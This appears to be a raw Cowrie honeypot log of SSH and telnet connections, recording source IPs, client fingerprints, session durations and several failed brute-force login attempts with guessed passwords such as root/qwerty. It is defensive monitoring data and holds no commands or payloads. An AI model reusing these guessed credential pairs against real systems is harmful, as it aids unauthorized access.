{"eventid":"cowrie.session.closed","duration":31.056074857711792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:47.126469Z","src_ip":"159.223.86.167","session":"e0ce443dc639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":32774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e67a5b51b9d2","protocol":"telnet","message":"New connection: 159.223.86.167:32774 (159.203.135.109:23) [session: e67a5b51b9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:47.421376Z"}
{"eventid":"cowrie.session.closed","duration":32.850255250930786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:47.866030Z","src_ip":"213.136.75.179","session":"c63dbc401a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":58650,"dst_ip":"159.203.135.109","dst_port":23,"session":"a173a5ceb4ea","protocol":"telnet","message":"New connection: 159.223.86.167:58650 (159.203.135.109:23) [session: a173a5ceb4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:47.874060Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dc38f3b8546","protocol":"telnet","message":"New connection: 213.136.75.179:39370 (10.17.0.5:23) [session: 5dc38f3b8546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:49.034563Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":55208,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a8a23ed99c0","protocol":"ssh","message":"New connection: 20.244.18.126:55208 (10.17.0.5:22) [session: 6a8a23ed99c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:49.187677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:49.193498Z","src_ip":"20.244.18.126","session":"6a8a23ed99c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:49.381813Z","src_ip":"20.244.18.126","session":"6a8a23ed99c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qqq111","message":"login attempt [admin/qqq111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:50.167501Z","src_ip":"20.244.18.126","session":"6a8a23ed99c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.394238710403442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:50.775673Z","src_ip":"159.223.86.167","session":"177a61c33ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.358674Z","src_ip":"20.244.18.126","session":"6a8a23ed99c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55946,"dst_ip":"10.17.0.5","dst_port":22,"session":"b80c443833f1","protocol":"ssh","message":"New connection: 176.65.139.103:55946 (10.17.0.5:22) [session: b80c443833f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.484354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.504932Z","src_ip":"176.65.139.103","session":"b80c443833f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14943838119507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.527696Z","src_ip":"159.223.86.167","session":"e389756cec88","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.568082Z","src_ip":"176.65.139.103","session":"b80c443833f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49558,"dst_ip":"159.203.135.109","dst_port":23,"session":"078fc188e2e3","protocol":"telnet","message":"New connection: 159.223.86.167:49558 (159.203.135.109:23) [session: 078fc188e2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.624265Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39386,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5c58a10ee8","protocol":"telnet","message":"New connection: 213.136.75.179:39386 (10.17.0.5:23) [session: ee5c58a10ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.811111Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:51.902333Z","src_ip":"176.65.139.103","session":"b80c443833f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53606,"dst_ip":"159.203.135.109","dst_port":23,"session":"be915a4ddf5d","protocol":"telnet","message":"New connection: 159.223.86.167:53606 (159.203.135.109:23) [session: be915a4ddf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:52.674290Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6a8a2cb0c9","protocol":"telnet","message":"New connection: 159.223.86.167:54984 (159.203.135.109:23) [session: 5e6a8a2cb0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:52.992568Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54976,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f1006e5be8","protocol":"telnet","message":"New connection: 159.223.86.167:54976 (159.203.135.109:23) [session: 35f1006e5be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.015776Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.070904Z","src_ip":"176.65.139.103","session":"b80c443833f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.219976663589478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.163937Z","src_ip":"159.223.86.167","session":"1e352a3cac4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":56316,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4d1fccdc08e","protocol":"telnet","message":"New connection: 155.117.234.131:56316 (10.17.0.5:23) [session: d4d1fccdc08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.315198Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56586,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22f57651c9d","protocol":"telnet","message":"New connection: 159.223.86.167:56586 (159.203.135.109:23) [session: c22f57651c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.491026Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d7a28d812de","protocol":"telnet","message":"New connection: 159.223.86.167:56754 (159.203.135.109:23) [session: 9d7a28d812de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.560877Z"}
{"eventid":"cowrie.session.closed","duration":31.60063147544861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:53.796604Z","src_ip":"159.223.86.167","session":"7648507fbba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289888381958008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.126378Z","src_ip":"159.223.86.167","session":"393d33d4cb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39398,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54c4d19aee6","protocol":"telnet","message":"New connection: 213.136.75.179:39398 (10.17.0.5:23) [session: d54c4d19aee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.158124Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59370,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba45722973a2","protocol":"telnet","message":"New connection: 159.223.86.167:59370 (159.203.135.109:23) [session: ba45722973a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.226738Z"}
{"eventid":"cowrie.session.closed","duration":30.937731981277466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.230571Z","src_ip":"159.223.86.167","session":"84a69bf47b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59528,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ef66cff1d27","protocol":"telnet","message":"New connection: 159.223.86.167:59528 (159.203.135.109:23) [session: 7ef66cff1d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.236871Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"029295649cb5","protocol":"telnet","message":"New connection: 159.223.86.167:60910 (159.203.135.109:23) [session: 029295649cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.656423Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":49698,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e24f9cda745","protocol":"telnet","message":"New connection: 159.223.86.167:49698 (159.203.135.109:23) [session: 4e24f9cda745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:54.676928Z"}
{"eventid":"cowrie.session.closed","duration":31.329948902130127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:56.051947Z","src_ip":"159.223.86.167","session":"9b851bcd30df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.463135957717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:56.985030Z","src_ip":"159.223.86.167","session":"7e54219358c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74031376838684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:57.217399Z","src_ip":"159.223.86.167","session":"8b11410a3ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278213500976562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:57.407002Z","src_ip":"159.223.86.167","session":"e2664737fd41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439940214157104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.243057Z","src_ip":"159.223.86.167","session":"6f136c94add3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c82f691aff0f","protocol":"ssh","message":"New connection: 176.65.139.103:54122 (10.17.0.5:22) [session: c82f691aff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.259521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.264282Z","src_ip":"176.65.139.103","session":"c82f691aff0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.346990Z","src_ip":"176.65.139.103","session":"c82f691aff0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.631010Z","src_ip":"176.65.139.103","session":"c82f691aff0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"924b1aa1e9e7","protocol":"telnet","message":"New connection: 23.254.167.244:55640 (159.203.135.109:23) [session: 924b1aa1e9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:58.772765Z"}
{"eventid":"cowrie.session.closed","duration":31.09304118156433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:59.138696Z","src_ip":"159.223.86.167","session":"fbdb517cd6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae458e10829a","protocol":"telnet","message":"New connection: 213.136.75.179:52694 (10.17.0.5:23) [session: ae458e10829a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:59.544753Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51944,"dst_ip":"159.203.135.109","dst_port":23,"session":"a317367c3ee7","protocol":"telnet","message":"New connection: 159.223.86.167:51944 (159.203.135.109:23) [session: a317367c3ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:59.569357Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0a67b46334","protocol":"telnet","message":"New connection: 213.136.75.179:52710 (10.17.0.5:23) [session: 6f0a67b46334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:59.634607Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:59.719423Z","src_ip":"176.65.139.103","session":"c82f691aff0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50094,"dst_ip":"159.203.135.109","dst_port":23,"session":"48023ef4b5a9","protocol":"telnet","message":"New connection: 159.223.86.167:50094 (159.203.135.109:23) [session: 48023ef4b5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:00.116415Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3deb9489e0","protocol":"telnet","message":"New connection: 159.223.86.167:55194 (159.203.135.109:23) [session: 3c3deb9489e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:00.366851Z"}
{"eventid":"cowrie.session.closed","duration":31.018524408340454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:01.124326Z","src_ip":"159.223.86.167","session":"d2e9327c37d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":58733,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1f9a7b8ef9f","protocol":"ssh","message":"New connection: 74.87.117.149:58733 (10.17.0.5:22) [session: b1f9a7b8ef9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:02.488386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:02.494600Z","src_ip":"74.87.117.149","session":"b1f9a7b8ef9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:02.519593Z","src_ip":"74.87.117.149","session":"b1f9a7b8ef9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"q1w2e3","message":"login attempt [deploy/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:02.648885Z","src_ip":"74.87.117.149","session":"b1f9a7b8ef9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36352,"dst_ip":"159.203.135.109","dst_port":23,"session":"176b87342445","protocol":"telnet","message":"New connection: 159.223.86.167:36352 (159.203.135.109:23) [session: 176b87342445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:02.709152Z"}
{"eventid":"cowrie.session.closed","duration":30.732219457626343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:03.119689Z","src_ip":"159.223.86.167","session":"0c087bc7938f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540597200393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:03.185525Z","src_ip":"159.223.86.167","session":"cae382518276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:03.676255Z","src_ip":"74.87.117.149","session":"b1f9a7b8ef9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.29658603668213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:04.153627Z","src_ip":"159.223.86.167","session":"96b32e9f1223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04184103012085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:41:04.189634Z","src_ip":"159.223.86.167","session":"fd790fee6258","protocol":"telnet"}
